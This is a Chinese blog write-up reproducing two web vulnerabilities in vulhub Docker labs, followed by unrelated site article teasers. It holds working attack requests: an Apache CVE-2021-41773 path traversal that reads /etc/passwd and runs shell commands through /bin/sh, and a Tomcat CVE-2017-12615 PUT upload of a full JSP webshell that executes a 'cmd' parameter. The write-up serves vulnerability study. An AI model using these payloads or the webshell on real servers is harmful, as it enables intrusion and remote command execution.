部分CVE复现Web(1)

Apache HTTP Server 路径穿越漏洞CVE-2021-41773

​ 首先,先来看一下这个漏洞的官方描述:

在这里插入图片描述

​ CVE-2021-41773 是在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“要求全部拒绝”的保护,则这些请求可能会成功,如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

漏洞条件:

​ 配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹

​ 穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的:Require all denied)

注意:这里的/icons/必须是一个存在且可访问的目录

漏洞复现:

​ 首先,需要在虚拟机里下载一个docker,可以通过

apt install docker.io docker-compose

来安装。

​ 之后,需要下载 vulhub 的环境

git clone https://github.com/vulhub/vulhub.git

​ 之后就可以在 vulhub 这个文件夹下的httpd找到漏洞编号CVE-2021-41773了,然后执行如下命令

docker-compose up -d

即可搭建完成,之后根据它开放的 端口来访问这个服务,

在这里插入图片描述

​ 出现这个页面则表示搭建成功了,之后就可以开始了。

​ 首先,抓包,然后修改请求包如下:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.209.130:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close

​ 可以看到,我们请求的路径为 /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd ,那么,为啥这个路径能行呢?可以参考这篇文章:Apache HTTP Server路径穿越漏洞 (CVE-2021-41773) 分析复现。说白了就是没有对目录进行有效的过滤,导致了可以造成目录穿越直接读取根目录的文件,不过,有的时候可能存在一些个问题,可能需要对%2e进行二次url编码,这里只是提一句。

​ 发送了请求之后我们能够拿到这个回显:

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:20:37 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

​ 证明我们成功了,成功读取了文件。

​ 难道,只能这样了吗?

命令执行:

​ 当然不是,在服务器开启cgi或cgid模块的情况下,该漏洞可执行任意命令。

​ 如果,当我们修改文件路径为:/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 时,就会发现,我们输入的POST参数会被当做命令进行执行,也就是说,我们直接做到了 RCE 。

​ 给个原因。

也就是说,通过 POST 传入的 参数,会作为 stdin 的内容,交给 所访问的 cgi 程序处理

如果访问的是 /bin/sh ,那么就能直接 getshell 了

​ 我们给 POST 传入(固定格式)echo Content-Type: text/plain; echo; ls /,之后就会发现我们成功读取了文件,我提前在根目录存放了flag文件,当作一个ctf题目来表明我们做对了这个题。

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:50:01 GMT
Server: Apache/2.4.49 (Unix)
Connection: close
Content-Type: text/plain
Content-Length: 90

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

​ 之后我们POST传入:echo Content-Type: text/plain; echo; cat /flag,最后能够拿到flag:

HTTP/1.1 200 OK
Date: Mon, 17 Jun 2024 12:52:04 GMT
Server: Apache/2.4.49 (Unix)
Connection: close
Content-Type: text/plain
Content-Length: 21

flag{CVE-2021-41773}

Tomcat文件上传:

前置知识:

PUT请求是向服务器端发送数据的,从而改变信息,该请求就像数据库的update操作一样,用来修改数据的内容,但是不会增加数据的种类等,也就是说无论进行多少次PUT操作,其结果并没有不同。

​ web.xml主要用来配置Filter、Listener、Servlet等。当readonly是true的话,那么PUT和DELETE方法是被拒绝的,因此如果手动将readonly选项开启为false,那么就能够通过PUT方法上传文件了。

漏洞复现:

​ vulhub 文件夹中的tomcat的CVE-2017-12615就是漏洞复现的环境。

​ 可以在当前文件夹中使用:

docker-compose build
docker-compose up -d

来启动环境。

​ 访问了之后是如下这个情况:

在这里插入图片描述

​ 那么,首先我们在docker里查看我们的题目环境是怎么样的,可以发现 readonly的值就是false:

  <!--   readonly            Is this context "read only", so HTTP           -->
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

​ 那么,我们就可以通过 PUT 传参来更新文件,大概http请求如下:

PUT /1.jsp HTTP/1.1
Host: 192.168.209.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

​ 这里发现无法上传,报错是405–Method Not Allowed,查资料说的是后缀不允许,所以在/1.jsp后面加上%20再试试,结果如下:

HTTP/1.1 204 
Date: Mon, 17 Jun 2024 13:40:05 GMT
Connection: close

​ 应该是上传成功了,访问下这个文件试试;

在这里插入图片描述

​ 能访问到,说明这里就上传成功了,那么,接下来上传jsp马,如下:

PUT /1.jsp%20 HTTP/1.1
Host: 192.168.209.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 635

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>一句话木马</title>
</head>
<body>
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>
</body>
</html>

​ 这里很明显可以得知木马的参数为cmd,所以访问之后直接传递cmd的参数即可执行命令,cmd=cat /flag:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/718481.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Linux 12】进程控制

文章目录 &#x1f308; Ⅰ 进程创建01. fork 函数介绍02. 写时拷贝03. fork 常规用法04. fork 调用失败的原因 &#x1f308; Ⅱ 进程终止01. 进程退出场景02. 常见退出方法 &#x1f308; Ⅲ 进程等待01. 进程等待必要性02. 进程等待的方法2.1 wait 方法2.2 waitpid 方法 03.…

函数式编程基本语法

文章目录 1.函数对象表现形式1.Lambda表达式&#xff08;功能全面&#xff09;1.基本语法2.只有一行逻辑&#xff0c;该逻辑结果是返回值3.复杂逻辑4.省略参数类型&#xff08;可以通过上下文推导出类型时&#xff0c;比如实现了函数式接口&#xff09;5.只有一个参数时&#x…

NAND闪存市场彻底复苏

在全球内存市场逐渐走出阴霾、迎来复苏曙光之际&#xff0c;日本存储巨头铠侠&#xff08;Kioxia&#xff09;凭借敏锐的市场洞察力和及时的战略调整&#xff0c;成功实现了从生产紧缩到全面复苏的华丽转身。这一转变不仅彰显了企业在逆境中的生存智慧&#xff0c;也为全球半导…

在 Stable Diffusion 中控制光线的三种方式

光线在摄影中扮演着至关重要的角色&#xff0c;并对图像的整体质量和意境产生重要影响。你可以利用光线来增强主题&#xff0c;创造深度和立体感&#xff0c;传达情感&#xff0c;并突出重要细节。 在本文中&#xff0c;你将了解通过以下方法来控制光线&#xff1a; 光线提示…

基于Java的度分秒坐标转纯经纬度坐标的漂亮国基地信息管理

目录 前言 一、空间表设计 1、物理表结构 二、后台数据管理 1、数据去重 2、去重的具体实现 3、度分秒数据格式转换 4、具体的转换方法 5、新增界面的实现 三、数据管理界面 总结 前言 众所周知&#xff0c;漂亮国在全球范围内部署了大量的基地&#xff0c;用以维持其…

阿里巴巴全球数学竞赛报名条件

#竞赛概览与历史# “阿里巴巴全球数学竞赛”&#xff08;Alibaba Global Mathematics Competition&#xff09;由阿里巴巴公益、阿里巴巴达摩院共同举办&#xff0c;面向全球的数学爱好者&#xff0c;集竞赛、培训、交流于一体&#xff0c;旨在全球范围内引领开启关注数学、理解…

monitor-zabbix

监控体系理论 学习本篇文章&#xff0c;了解运维监控系统的前世今生 zabbix官网仓库地址 zabbix官网 https://www.zabbix.com/cn/zabbix官网仓库地址 http://repo.zabbix.com/zabbix/ http://repo.zabbix.com/zabbix/4.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_…

数字孪生智慧机场:引领航空未来

图扑数字孪生技术赋能智慧机场&#xff0c;实现运营管理和乘客服务的全面优化。实时数据监控与智能决策助力高效安全的航空体验&#xff0c;推动行业创新与发展。

分布式理论与设计 三、分布式一致性协议

1.两阶段提交协议&#xff08;2PC&#xff09; 1&#xff09;两阶段提交协议 两阶段提交协议&#xff0c;简称2PC(2 Prepare Commit)&#xff0c;是比较常用的解决分布式事务问题的方式&#xff0c;要么所有参与进程都提交事务&#xff0c;要么都取消事务&#xff0c;即实现A…

EasyRecovery电脑数据恢复软件2024数据守护神#误删文件神器#硬盘恢复利器#数据丢失救星

&#x1f310; 你是否曾经因为误删文件、硬盘损坏等原因&#xff0c;失去了重要的数据&#xff1f;别担心&#xff0c;EasyRecovery电脑数据恢复软件是你的救星&#xff01;它能够帮你找回丢失的文件&#xff0c;让你的数据重新焕发生机。 &#x1f50d; EasyRecovery软件的核…

Enhancing CLIP with GPT-4: Harnessing Visual Descriptions as Prompts

标题&#xff1a;用GPT-4增强CLIP:利用视觉描述作为提示 源文链接&#xff1a;Maniparambil_Enhancing_CLIP_with_GPT-4_Harnessing_Visual_Descriptions_as_Prompts_ICCVW_2023_paper.pdf (thecvf.com)https://openaccess.thecvf.com/content/ICCV2023W/MMFM/papers/Manipara…

【Android面试八股文】你能说一说什么是代理模式?静态代理和动态代理分别是什么?如何实现?

文章目录 一、代理模式1.1 代理模式概念1.2 代理模式的目的1.3 代理模式的三个角色1.4 代理模式的两种实现方式1.5 代理模式的优点1.6 代理模式的缺点1.7 适用场景 二、静态代理2.1 静态代理2.2 动态代理2.2.1 JDK动态代理2.2.2 CGLIB动态代理2.2.3 JDK 动态代理和 CGLIB 动态代…

【机器学习300问】122、RNN面临哪些问题?

循环神经网络&#xff08;RNN&#xff09;主要面临梯度消失和梯度爆炸两个核心问题&#xff0c;这严重影响了其处理长期依赖的能力。此外&#xff0c;还存在一些其他的技术挑战。 一、两个主要问题 &#xff08;1&#xff09;梯度消失和梯度爆炸问题 这是RNN中最显著的问题之…

JMU 数科 数据库与数据仓库期末总结(4)实验设计题

E-R图 实体-关系图 E-R图的组成要素主要包括&#xff1a; 实体&#xff08;Entity&#xff09;&#xff1a;实体代表现实世界中可相互区别的对象或事物&#xff0c;如顾客、订单、产品等。在图中&#xff0c;实体通常用矩形表示&#xff0c;并在矩形内标注实体的名称。 属性…

大话设计模式解读03-装饰模式

本篇文章&#xff0c;来解读《大话设计模式》的第6章——装饰模式。并通过C代码实现实例代码的功能。 注&#xff1a;第3~6章讲的是设计模式中的一些原则&#xff08;第3章&#xff1a;单一职责原则&#xff1b;第4章&#xff1a;开放-封闭原则&#xff1b;第5章&#xff1a;依…

C#知识|模块化分层学习笔记

哈喽&#xff0c;你好&#xff0c;我是雷工&#xff01; 01 基本分层 典型的两层结构&#xff1a;由UI层 数据访问层 实体类构成。 其中实体类不算一层&#xff0c;本质是一个数据载体。 02 模块化分层 模块概念&#xff1a;在.NET平台中&#xff0c;模块主要是指类库项目。…

2024.6.17 作业 xyt

今日作业&#xff1a; 升级优化自己应用程序的登录界面。 要求&#xff1a; 1. qss实现 2. 需要有图层的叠加 &#xff08;QFrame&#xff09; 3. 设置纯净窗口后&#xff0c;有关闭等窗口功能。 4. 如果账号密码正确…

Modbus协议转Profibus协议模块接热传感器配置攻略

一、前言 在工业自动化控制领域&#xff0c;Modbus协议和Profibus协议是两种常见的通讯协议&#xff0c;它们在设备之间传输数据起着至关重要的作用。而Modbus协议转Profibus协议模块&#xff08;XD-MDPB100&#xff09;设备&#xff0c;则扮演着连接不同通讯协议的桥梁角色。…

新质生产力水平测算与中国经济增长新动能(dta数据及do代码)

时间跨度&#xff1a;2012-2022年 数据范围&#xff1a;全国30个省份&#xff08;不含港澳台、西藏&#xff09; 数据指标&#xff1a; 参考韩文龙等的做法&#xff0c;收集了全部控制变量与稳定性检验所需变量。 类型 符号 变量 变量定义 被解释变量 GDP 各省人均GDP…